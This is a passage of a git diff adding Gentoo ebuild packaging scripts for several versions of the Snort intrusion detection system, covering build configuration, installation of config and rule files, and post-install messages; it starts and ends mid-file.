+ --disable-static-daq \
+ --disable-rzb-saac
+}
+
+src_install() {
+
+ emake DESTDIR="${D}" install
+
+ dodir /var/log/snort \
+ /var/run/snort \
+ /etc/snort/rules \
+ /etc/snort/so_rules \
+ /usr/$(get_libdir)/snort_dynamicrules
+
+ # config.log and build.log are needed by Sourcefire
+ # to trouble shoot build problems and bug reports so we are
+ # perserving them incase the user needs upstream support.
+ dodoc RELEASE.NOTES ChangeLog \
+ doc/* \
+ tools/u2boat/README.u2boat
+
+ insinto /etc/snort
+ doins etc/attribute_table.dtd \
+ etc/classification.config \
+ etc/gen-msg.map \
+ etc/reference.config \
+ etc/threshold.conf \
+ etc/unicode.map
+
+ # We use snort.conf.distrib because the config file is complicated
+ # and the one shipped with snort can change drastically between versions.
+ # Users should migrate setting by hand and not with etc-update.
+ newins etc/snort.conf snort.conf.distrib
+
+ # config.log and build.log are needed by Sourcefire
+ # to troubleshoot build problems and bug reports so we are
+ # preserving them incase the user needs upstream support.
+ if [ -f "${WORKDIR}/${PF}/config.log" ]; then
+ dodoc "${WORKDIR}/${PF}/config.log"
+ fi
+ if [ -f "${T}/build.log" ]; then
+ dodoc "${T}/build.log"
+ fi
+
+ insinto /etc/snort/preproc_rules
+ doins preproc_rules/decoder.rules \
+ preproc_rules/preprocessor.rules \
+ preproc_rules/sensitive-data.rules
+
+ fowners -R snort:snort \
+ /var/log/snort \
+ /var/run/snort \
+ /etc/snort
+
+ newinitd "${FILESDIR}/snort.rc12" snort
+ newconfd "${FILESDIR}/snort.confd.2" snort
+
+ # Sourcefire uses Makefiles to install docs causing Bug #297190.
+ # This removes the unwanted doc directory and rogue Makefiles.
+ rm -rf "${D}"usr/share/doc/snort || die "Failed to remove SF doc directories"
+ rm "${D}"usr/share/doc/"${PF}"/Makefile* || die "Failed to remove doc make files"
+
+ # Remove unneeded .la files (Bug #382863)
+ rm "${D}"usr/$(get_libdir)/snort_dynamicengine/libsf_engine.la || die
+ rm "${D}"usr/$(get_libdir)/snort_dynamicpreprocessor/libsf_*_preproc.la || die "Failed to remove libsf_?_preproc.la"
+
+ # Set the correct lib path for dynamicengine, dynamicpreprocessor, and dynamicdetection
+ sed -i -e 's|/usr/local/lib|/usr/'$(get_libdir)'|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct rule location in the config
+ sed -i -e 's|RULE_PATH ../rules|RULE_PATH /etc/snort/rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct preprocessor/decoder rule location in the config
+ sed -i -e 's|PREPROC_RULE_PATH ../preproc_rules|PREPROC_RULE_PATH /etc/snort/preproc_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Enable the preprocessor/decoder rules
+ sed -i -e 's|^# include $PREPROC_RULE_PATH|include $PREPROC_RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^# dynamicdetection directory|dynamicdetection directory|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Just some clean up of trailing /'s in the config
+ sed -i -e 's|snort_dynamicpreprocessor/$|snort_dynamicpreprocessor|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Make it clear in the config where these are...
+ sed -i -e 's|^include classification.config|include /etc/snort/classification.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^include reference.config|include /etc/snort/reference.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable all rule files by default.
+ sed -i -e 's|^include $RULE_PATH|# include $RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable normalizer preprocessor config if normalizer USE flag not set.
+ if ! use normalizer; then
+ sed -i -e 's|^preprocessor normalize|#preprocessor normalize|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+ fi
+
+ # Set the configured DAQ to afpacket
+ sed -i -e 's|^# config daq: <type>|config daq: afpacket|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the location of the DAQ modules
+ sed -i -e 's|^# config daq_dir: <dir>|config daq_dir: /usr/'$(get_libdir)'/daq|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the DAQ mode to passive
+ sed -i -e 's|^# config daq_mode: <mode>|config daq_mode: passive|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set snort to run as snort:snort
+ sed -i -e 's|^# config set_gid:|config set_gid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+ sed -i -e 's|^# config set_uid:|config set_uid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the default log dir
+ sed -i -e 's|^# config logdir:|config logdir: /var/log/snort/|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct so_rule location in the config
+ sed -i -e 's|SO_RULE_PATH ../so_rules|SO_RULE_PATH /etc/snort/so_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+}
+
+pkg_postinst() {
+
+ einfo "There have been a number of improvements and new features"
+ einfo "added to ${P}. Please review the RELEASE.NOTES and"
+ einfo "ChangLog located in /usr/share/doc/${PF}."
+ einfo
+ elog "The Sourcefire Vulnerability Research Team (VRT) recommends that"
+ elog "users migrate their snort.conf customizations to the latest config"
+ elog "file released by the VRT. You can find the latest version of the"
+ elog "Snort config file in /etc/snort/snort.conf.distrib."
+ elog
+ elog "!! It is important that you migrate to this new snort.conf file !!"
+ elog
+ elog "This version of the ebuild includes an updated init.d file and"
+ elog "conf.d file that rely on options found in the latest Snort"
+ elog "config file provided by the VRT."
+
+ if use debug; then
+ elog "You have the 'debug' USE flag enabled. If this has been done to"
+ elog "troubleshoot an issue by producing a core dump or a back trace,"
+ elog "then you need to also ensure the FEATURES variable in make.conf"
+ elog "contains the 'nostrip' option."
+ fi
+}
diff --git a/net-analyzer/snort/snort-2.9.6.1.ebuild b/net-analyzer/snort/snort-2.9.6.1.ebuild
new file mode 100644
index 000000000000..0bb53d70e63e
--- /dev/null
+++ b/net-analyzer/snort/snort-2.9.6.1.ebuild
@@ -0,0 +1,252 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+inherit autotools multilib user
+
+DESCRIPTION="The de facto standard for intrusion detection/prevention"
+HOMEPAGE="http://www.snort.org/"
+SRC_URI="http://snort.org/downloads/2911 -> ${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~mips ~ppc ~ppc64 ~sparc ~x86"
+IUSE="static +zlib +gre +mpls +targetbased +ppm +perfprofiling
++non-ether-decoders control-socket file-inspect high-availability
+shared-rep side-channel sourcefire linux-smp-stats inline-init-failopen
++threads debug +active-response +normalizer reload-error-restart
++react +flexresp3 large-pcap-64bit selinux"
+
+DEPEND=">=net-libs/libpcap-1.3.0
+ >=net-libs/daq-2.0.2
+ >=dev-libs/libpcre-8.33
+ dev-libs/libdnet
+ zlib? ( sys-libs/zlib )"
+
+RDEPEND="${DEPEND}
+ selinux? ( sec-policy/selinux-snort )"
+
+REQUIRED_USE="!kernel_linux? ( !shared-rep )"
+
+pkg_setup() {
+
+ # pre_inst() is a better place to put this
+ # but we need it here for the 'fowners' statements in src_install()
+ enewgroup snort
+ enewuser snort -1 -1 /dev/null snort
+
+}
+
+src_prepare() {
+
+ # Multilib fix for the sf_engine
+ ebegin "Applying multilib fix"
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-plugins/sf_engine/Makefile.am" \
+ || die "sed for sf_engine failed"
+
+ # Multilib fix for the curent set of dynamic-preprocessors
+ for i in file ftptelnet smtp ssh dns ssl dcerpc2 sdf imap pop rzb_saac sip reputation gtp modbus dnp3; do
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-preprocessors/$i/Makefile.am" \
+ || die "sed for $i failed."
+ done
+ eend
+
+ AT_M4DIR=m4 eautoreconf
+}
+
+src_configure() {
+
+ econf \
+ $(use_enable !static shared) \
+ $(use_enable static) \
+ $(use_enable static so-with-static-lib) \
+ $(use_enable zlib) \
+ $(use_enable gre) \
+ $(use_enable mpls) \
+ $(use_enable targetbased) \
+ $(use_enable control-socket) \
+ $(use_enable file-inspect) \
+ $(use_enable high-availability ha) \
+ $(use_enable non-ether-decoders) \
+ $(use_enable shared-rep) \
+ $(use_enable side-channel) \
+ $(use_enable sourcefire) \
+ $(use_enable ppm) \
+ $(use_enable perfprofiling) \
+ $(use_enable linux-smp-stats) \
+ $(use_enable inline-init-failopen) \
+ $(use_enable threads pthread) \
+ $(use_enable debug) \
+ $(use_enable debug debug-msgs) \
+ $(use_enable debug corefiles) \
+ $(use_enable !debug dlclose) \
+ $(use_enable active-response) \
+ $(use_enable normalizer) \
+ $(use_enable reload-error-restart) \
+ $(use_enable react) \
+ $(use_enable flexresp3) \
+ $(use_enable large-pcap-64bit large-pcap) \
+ --enable-reload \
+ --disable-build-dynamic-examples \
+ --disable-profile \
+ --disable-ppm-test \
+ --disable-intel-soft-cpm \
+ --disable-static-daq \
+ --disable-rzb-saac
+}
+
+src_install() {
+
+ emake DESTDIR="${D}" install
+
+ dodir /var/log/snort \
+ /var/run/snort \
+ /etc/snort/rules \
+ /etc/snort/so_rules \
+ /usr/$(get_libdir)/snort_dynamicrules
+
+ # config.log and build.log are needed by Sourcefire
+ # to trouble shoot build problems and bug reports so we are
+ # perserving them incase the user needs upstream support.
+ dodoc RELEASE.NOTES ChangeLog \
+ doc/* \
+ tools/u2boat/README.u2boat
+
+ insinto /etc/snort
+ doins etc/attribute_table.dtd \
+ etc/classification.config \
+ etc/gen-msg.map \
+ etc/reference.config \
+ etc/threshold.conf \
+ etc/unicode.map
+
+ # We use snort.conf.distrib because the config file is complicated
+ # and the one shipped with snort can change drastically between versions.
+ # Users should migrate setting by hand and not with etc-update.
+ newins etc/snort.conf snort.conf.distrib
+
+ # config.log and build.log are needed by Sourcefire
+ # to troubleshoot build problems and bug reports so we are
+ # preserving them incase the user needs upstream support.
+ if [ -f "${WORKDIR}/${PF}/config.log" ]; then
+ dodoc "${WORKDIR}/${PF}/config.log"
+ fi
+ if [ -f "${T}/build.log" ]; then
+ dodoc "${T}/build.log"
+ fi
+
+ insinto /etc/snort/preproc_rules
+ doins preproc_rules/decoder.rules \
+ preproc_rules/preprocessor.rules \
+ preproc_rules/sensitive-data.rules
+
+ fowners -R snort:snort \
+ /var/log/snort \
+ /var/run/snort \
+ /etc/snort
+
+ newinitd "${FILESDIR}/snort.rc12" snort
+ newconfd "${FILESDIR}/snort.confd.2" snort
+
+ # Sourcefire uses Makefiles to install docs causing Bug #297190.
+ # This removes the unwanted doc directory and rogue Makefiles.
+ rm -rf "${D}"usr/share/doc/snort || die "Failed to remove SF doc directories"
+ rm "${D}"usr/share/doc/"${PF}"/Makefile* || die "Failed to remove doc make files"
+
+ # Remove unneeded .la files (Bug #382863)
+ rm "${D}"usr/$(get_libdir)/snort_dynamicengine/libsf_engine.la || die
+ rm "${D}"usr/$(get_libdir)/snort_dynamicpreprocessor/libsf_*_preproc.la || die "Failed to remove libsf_?_preproc.la"
+
+ # Set the correct lib path for dynamicengine, dynamicpreprocessor, and dynamicdetection
+ sed -i -e 's|/usr/local/lib|/usr/'$(get_libdir)'|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct rule location in the config
+ sed -i -e 's|RULE_PATH ../rules|RULE_PATH /etc/snort/rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct preprocessor/decoder rule location in the config
+ sed -i -e 's|PREPROC_RULE_PATH ../preproc_rules|PREPROC_RULE_PATH /etc/snort/preproc_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Enable the preprocessor/decoder rules
+ sed -i -e 's|^# include $PREPROC_RULE_PATH|include $PREPROC_RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^# dynamicdetection directory|dynamicdetection directory|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Just some clean up of trailing /'s in the config
+ sed -i -e 's|snort_dynamicpreprocessor/$|snort_dynamicpreprocessor|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Make it clear in the config where these are...
+ sed -i -e 's|^include classification.config|include /etc/snort/classification.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^include reference.config|include /etc/snort/reference.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable all rule files by default.
+ sed -i -e 's|^include $RULE_PATH|# include $RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable normalizer preprocessor config if normalizer USE flag not set.
+ if ! use normalizer; then
+ sed -i -e 's|^preprocessor normalize|#preprocessor normalize|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+ fi
+
+ # Set the configured DAQ to afpacket
+ sed -i -e 's|^# config daq: <type>|config daq: afpacket|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the location of the DAQ modules
+ sed -i -e 's|^# config daq_dir: <dir>|config daq_dir: /usr/'$(get_libdir)'/daq|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the DAQ mode to passive
+ sed -i -e 's|^# config daq_mode: <mode>|config daq_mode: passive|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set snort to run as snort:snort
+ sed -i -e 's|^# config set_gid:|config set_gid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+ sed -i -e 's|^# config set_uid:|config set_uid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the default log dir
+ sed -i -e 's|^# config logdir:|config logdir: /var/log/snort/|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct so_rule location in the config
+ sed -i -e 's|SO_RULE_PATH ../so_rules|SO_RULE_PATH /etc/snort/so_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+}
+
+pkg_postinst() {
+
+ einfo "There have been a number of improvements and new features"
+ einfo "added to ${P}. Please review the RELEASE.NOTES and"
+ einfo "ChangLog located in /usr/share/doc/${PF}."
+ einfo
+ elog "The Sourcefire Vulnerability Research Team (VRT) recommends that"
+ elog "users migrate their snort.conf customizations to the latest config"
+ elog "file released by the VRT. You can find the latest version of the"
+ elog "Snort config file in /etc/snort/snort.conf.distrib."
+ elog
+ elog "!! It is important that you migrate to this new snort.conf file !!"
+ elog
+ elog "This version of the ebuild includes an updated init.d file and"
+ elog "conf.d file that rely on options found in the latest Snort"
+ elog "config file provided by the VRT."
+
+ if use debug; then
+ elog "You have the 'debug' USE flag enabled. If this has been done to"
+ elog "troubleshoot an issue by producing a core dump or a back trace,"
+ elog "then you need to also ensure the FEATURES variable in make.conf"
+ elog "contains the 'nostrip' option."
+ fi
+}
diff --git a/net-analyzer/snort/snort-2.9.6.2.ebuild b/net-analyzer/snort/snort-2.9.6.2.ebuild
new file mode 100644
index 000000000000..aa96708475a4
--- /dev/null
+++ b/net-analyzer/snort/snort-2.9.6.2.ebuild
@@ -0,0 +1,252 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+inherit autotools multilib user
+
+DESCRIPTION="The de facto standard for intrusion detection/prevention"
+HOMEPAGE="http://www.snort.org/"
+SRC_URI="https://www.snort.org/downloads/${PN}/${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~mips ~ppc ~ppc64 ~sparc ~x86"
+IUSE="static +zlib +gre +mpls +targetbased +ppm +perfprofiling
++non-ether-decoders control-socket file-inspect high-availability
+shared-rep side-channel sourcefire linux-smp-stats inline-init-failopen
++threads debug +active-response +normalizer reload-error-restart
++react +flexresp3 large-pcap-64bit selinux"
+
+DEPEND=">=net-libs/libpcap-1.3.0
+ >=net-libs/daq-2.0.2
+ >=dev-libs/libpcre-8.33
+ dev-libs/libdnet
+ zlib? ( sys-libs/zlib )"
+
+RDEPEND="${DEPEND}
+ selinux? ( sec-policy/selinux-snort )"
+
+REQUIRED_USE="!kernel_linux? ( !shared-rep )"
+
+pkg_setup() {
+
+ # pre_inst() is a better place to put this
+ # but we need it here for the 'fowners' statements in src_install()
+ enewgroup snort
+ enewuser snort -1 -1 /dev/null snort
+
+}
+
+src_prepare() {
+
+ # Multilib fix for the sf_engine
+ ebegin "Applying multilib fix"
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-plugins/sf_engine/Makefile.am" \
+ || die "sed for sf_engine failed"
+
+ # Multilib fix for the curent set of dynamic-preprocessors
+ for i in file ftptelnet smtp ssh dns ssl dcerpc2 sdf imap pop rzb_saac sip reputation gtp modbus dnp3; do
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-preprocessors/$i/Makefile.am" \
+ || die "sed for $i failed."
+ done
+ eend
+
+ AT_M4DIR=m4 eautoreconf
+}
+
+src_configure() {
+
+ econf \
+ $(use_enable !static shared) \
+ $(use_enable static) \
+ $(use_enable static so-with-static-lib) \
+ $(use_enable zlib) \
+ $(use_enable gre) \
+ $(use_enable mpls) \
+ $(use_enable targetbased) \
+ $(use_enable control-socket) \
+ $(use_enable file-inspect) \
+ $(use_enable high-availability ha) \
+ $(use_enable non-ether-decoders) \
+ $(use_enable shared-rep) \
+ $(use_enable side-channel) \
+ $(use_enable sourcefire) \
+ $(use_enable ppm) \
+ $(use_enable perfprofiling) \
+ $(use_enable linux-smp-stats) \
+ $(use_enable inline-init-failopen) \
+ $(use_enable threads pthread) \
+ $(use_enable debug) \
+ $(use_enable debug debug-msgs) \
+ $(use_enable debug corefiles) \
+ $(use_enable !debug dlclose) \
+ $(use_enable active-response) \
+ $(use_enable normalizer) \
+ $(use_enable reload-error-restart) \
+ $(use_enable react) \
+ $(use_enable flexresp3) \
+ $(use_enable large-pcap-64bit large-pcap) \
+ --enable-reload \
+ --disable-build-dynamic-examples \
+ --disable-profile \
+ --disable-ppm-test \
+ --disable-intel-soft-cpm \
+ --disable-static-daq \
+ --disable-rzb-saac
+}
+
+src_install() {
+
+ emake DESTDIR="${D}" install
+
+ dodir /var/log/snort \
+ /var/run/snort \
+ /etc/snort/rules \
+ /etc/snort/so_rules \
+ /usr/$(get_libdir)/snort_dynamicrules
+
+ # config.log and build.log are needed by Sourcefire
+ # to trouble shoot build problems and bug reports so we are
+ # perserving them incase the user needs upstream support.
+ dodoc RELEASE.NOTES ChangeLog \
+ doc/* \
+ tools/u2boat/README.u2boat
+
+ insinto /etc/snort
+ doins etc/attribute_table.dtd \
+ etc/classification.config \
+ etc/gen-msg.map \
+ etc/reference.config \
+ etc/threshold.conf \
+ etc/unicode.map
+
+ # We use snort.conf.distrib because the config file is complicated
+ # and the one shipped with snort can change drastically between versions.
+ # Users should migrate setting by hand and not with etc-update.
+ newins etc/snort.conf snort.conf.distrib
+
+ # config.log and build.log are needed by Sourcefire
+ # to troubleshoot build problems and bug reports so we are
+ # preserving them incase the user needs upstream support.
+ if [ -f "${WORKDIR}/${PF}/config.log" ]; then
+ dodoc "${WORKDIR}/${PF}/config.log"
+ fi
+ if [ -f "${T}/build.log" ]; then
+ dodoc "${T}/build.log"
+ fi
+
+ insinto /etc/snort/preproc_rules
+ doins preproc_rules/decoder.rules \
+ preproc_rules/preprocessor.rules \
+ preproc_rules/sensitive-data.rules
+
+ fowners -R snort:snort \
+ /var/log/snort \
+ /var/run/snort \
+ /etc/snort
+
+ newinitd "${FILESDIR}/snort.rc12" snort
+ newconfd "${FILESDIR}/snort.confd.2" snort
+
+ # Sourcefire uses Makefiles to install docs causing Bug #297190.
+ # This removes the unwanted doc directory and rogue Makefiles.
+ rm -rf "${D}"usr/share/doc/snort || die "Failed to remove SF doc directories"
+ rm "${D}"usr/share/doc/"${PF}"/Makefile* || die "Failed to remove doc make files"
+
+ # Remove unneeded .la files (Bug #382863)
+ rm "${D}"usr/$(get_libdir)/snort_dynamicengine/libsf_engine.la || die
+ rm "${D}"usr/$(get_libdir)/snort_dynamicpreprocessor/libsf_*_preproc.la || die "Failed to remove libsf_?_preproc.la"
+
+ # Set the correct lib path for dynamicengine, dynamicpreprocessor, and dynamicdetection
+ sed -i -e 's|/usr/local/lib|/usr/'$(get_libdir)'|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct rule location in the config
+ sed -i -e 's|RULE_PATH ../rules|RULE_PATH /etc/snort/rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct preprocessor/decoder rule location in the config
+ sed -i -e 's|PREPROC_RULE_PATH ../preproc_rules|PREPROC_RULE_PATH /etc/snort/preproc_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Enable the preprocessor/decoder rules
+ sed -i -e 's|^# include $PREPROC_RULE_PATH|include $PREPROC_RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^# dynamicdetection directory|dynamicdetection directory|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Just some clean up of trailing /'s in the config
+ sed -i -e 's|snort_dynamicpreprocessor/$|snort_dynamicpreprocessor|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Make it clear in the config where these are...
+ sed -i -e 's|^include classification.config|include /etc/snort/classification.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^include reference.config|include /etc/snort/reference.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable all rule files by default.
+ sed -i -e 's|^include $RULE_PATH|# include $RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable normalizer preprocessor config if normalizer USE flag not set.
+ if ! use normalizer; then
+ sed -i -e 's|^preprocessor normalize|#preprocessor normalize|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+ fi
+
+ # Set the configured DAQ to afpacket
+ sed -i -e 's|^# config daq: <type>|config daq: afpacket|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the location of the DAQ modules
+ sed -i -e 's|^# config daq_dir: <dir>|config daq_dir: /usr/'$(get_libdir)'/daq|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the DAQ mode to passive
+ sed -i -e 's|^# config daq_mode: <mode>|config daq_mode: passive|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set snort to run as snort:snort
+ sed -i -e 's|^# config set_gid:|config set_gid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+ sed -i -e 's|^# config set_uid:|config set_uid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the default log dir
+ sed -i -e 's|^# config logdir:|config logdir: /var/log/snort/|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct so_rule location in the config
+ sed -i -e 's|SO_RULE_PATH ../so_rules|SO_RULE_PATH /etc/snort/so_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+}
+
+pkg_postinst() {
+
+ einfo "There have been a number of improvements and new features"
+ einfo "added to ${P}. Please review the RELEASE.NOTES and"
+ einfo "ChangLog located in /usr/share/doc/${PF}."
+ einfo
+ elog "The Sourcefire Vulnerability Research Team (VRT) recommends that"
+ elog "users migrate their snort.conf customizations to the latest config"
+ elog "file released by the VRT. You can find the latest version of the"
+ elog "Snort config file in /etc/snort/snort.conf.distrib."
+ elog
+ elog "!! It is important that you migrate to this new snort.conf file !!"
+ elog
+ elog "This version of the ebuild includes an updated init.d file and"
+ elog "conf.d file that rely on options found in the latest Snort"
+ elog "config file provided by the VRT."
+
+ if use debug; then
+ elog "You have the 'debug' USE flag enabled. If this has been done to"
+ elog "troubleshoot an issue by producing a core dump or a back trace,"
+ elog "then you need to also ensure the FEATURES variable in make.conf"
+ elog "contains the 'nostrip' option."
+ fi
+}
diff --git a/net-analyzer/snort/snort-2.9.7.0.ebuild b/net-analyzer/snort/snort-2.9.7.0.ebuild
new file mode 100644
index 000000000000..3c0716f6ab02
--- /dev/null
+++ b/net-analyzer/snort/snort-2.9.7.0.ebuild
@@ -0,0 +1,250 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+inherit autotools multilib user
+
+DESCRIPTION="The de facto standard for intrusion detection/prevention"
+HOMEPAGE="http://www.snort.org/"
+SRC_URI="https://www.snort.org/downloads/${PN}/${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~mips ~ppc ~ppc64 ~sparc ~x86"
+IUSE="static +gre +mpls +targetbased +ppm +perfprofiling
++non-ether-decoders control-socket file-inspect high-availability
+shared-rep side-channel sourcefire linux-smp-stats inline-init-failopen
++threads debug +active-response +normalizer reload-error-restart
++react +flexresp3 large-pcap-64bit selinux"
+
+DEPEND=">=net-libs/libpcap-1.3.0
+ >=net-libs/daq-2.0.2
+ >=dev-libs/libpcre-8.33
+ dev-libs/libdnet
+ sys-libs/zlib"
+
+RDEPEND="${DEPEND}
+ selinux? ( sec-policy/selinux-snort )"
+
+REQUIRED_USE="!kernel_linux? ( !shared-rep )"
+
+pkg_setup() {
+
+ # pre_inst() is a better place to put this
+ # but we need it here for the 'fowners' statements in src_install()
+ enewgroup snort
+ enewuser snort -1 -1 /dev/null snort
+
+}
+
+src_prepare() {
+
+ # Multilib fix for the sf_engine
+ ebegin "Applying multilib fix"
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-plugins/sf_engine/Makefile.am" \
+ || die "sed for sf_engine failed"
+
+ # Multilib fix for the curent set of dynamic-preprocessors
+ for i in file ftptelnet smtp ssh dns ssl dcerpc2 sdf imap pop sip reputation gtp modbus dnp3; do
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-preprocessors/$i/Makefile.am" \
+ || die "sed for $i failed."
+ done
+ eend
+
+ AT_M4DIR=m4 eautoreconf
+}
+
+src_configure() {
+
+ econf \
+ $(use_enable !static shared) \
+ $(use_enable static) \
+ $(use_enable static so-with-static-lib) \
+ $(use_enable gre) \
+ $(use_enable mpls) \
+ $(use_enable targetbased) \
+ $(use_enable control-socket) \
+ $(use_enable file-inspect) \
+ $(use_enable high-availability ha) \
+ $(use_enable non-ether-decoders) \
+ $(use_enable shared-rep) \
+ $(use_enable side-channel) \
+ $(use_enable sourcefire) \
+ $(use_enable ppm) \
+ $(use_enable perfprofiling) \
+ $(use_enable linux-smp-stats) \
+ $(use_enable inline-init-failopen) \
+ $(use_enable threads pthread) \
+ $(use_enable debug) \
+ $(use_enable debug debug-msgs) \
+ $(use_enable debug corefiles) \
+ $(use_enable !debug dlclose) \
+ $(use_enable active-response) \
+ $(use_enable normalizer) \
+ $(use_enable reload-error-restart) \
+ $(use_enable react) \
+ $(use_enable flexresp3) \
+ $(use_enable large-pcap-64bit large-pcap) \
+ --enable-reload \
+ --disable-build-dynamic-examples \
+ --disable-profile \
+ --disable-ppm-test \
+ --disable-intel-soft-cpm \
+ --disable-static-daq
+}
+
+src_install() {
+
+ emake DESTDIR="${D}" install
+
+ dodir /var/log/snort \
+ /var/run/snort \
+ /etc/snort/rules \
+ /etc/snort/so_rules \
+ /usr/$(get_libdir)/snort_dynamicrules
+
+ # config.log and build.log are needed by Sourcefire
+ # to trouble shoot build problems and bug reports so we are
+ # perserving them incase the user needs upstream support.
+ dodoc RELEASE.NOTES ChangeLog \
+ doc/* \
+ tools/u2boat/README.u2boat
+
+ insinto /etc/snort
+ doins etc/attribute_table.dtd \
+ etc/classification.config \
+ etc/gen-msg.map \
+ etc/reference.config \
+ etc/threshold.conf \
+ etc/unicode.map
+
+ # We use snort.conf.distrib because the config file is complicated
+ # and the one shipped with snort can change drastically between versions.
+ # Users should migrate setting by hand and not with etc-update.
+ newins etc/snort.conf snort.conf.distrib
+
+ # config.log and build.log are needed by Sourcefire
+ # to troubleshoot build problems and bug reports so we are
+ # preserving them incase the user needs upstream support.
+ if [ -f "${WORKDIR}/${PF}/config.log" ]; then
+ dodoc "${WORKDIR}/${PF}/config.log"
+ fi
+ if [ -f "${T}/build.log" ]; then
+ dodoc "${T}/build.log"
+ fi
+
+ insinto /etc/snort/preproc_rules
+ doins preproc_rules/decoder.rules \
+ preproc_rules/preprocessor.rules \
+ preproc_rules/sensitive-data.rules
+
+ fowners -R snort:snort \
+ /var/log/snort \
+ /var/run/snort \
+ /etc/snort
+
+ newinitd "${FILESDIR}/snort.rc12" snort
+ newconfd "${FILESDIR}/snort.confd.2" snort
+
+ # Sourcefire uses Makefiles to install docs causing Bug #297190.
+ # This removes the unwanted doc directory and rogue Makefiles.
+ rm -rf "${D}"usr/share/doc/snort || die "Failed to remove SF doc directories"
+ rm "${D}"usr/share/doc/"${PF}"/Makefile* || die "Failed to remove doc make files"
+
+ # Remove unneeded .la files (Bug #382863)
+ rm "${D}"usr/$(get_libdir)/snort_dynamicengine/libsf_engine.la || die
+ rm "${D}"usr/$(get_libdir)/snort_dynamicpreprocessor/libsf_*_preproc.la || die "Failed to remove libsf_?_preproc.la"
+
+ # Set the correct lib path for dynamicengine, dynamicpreprocessor, and dynamicdetection
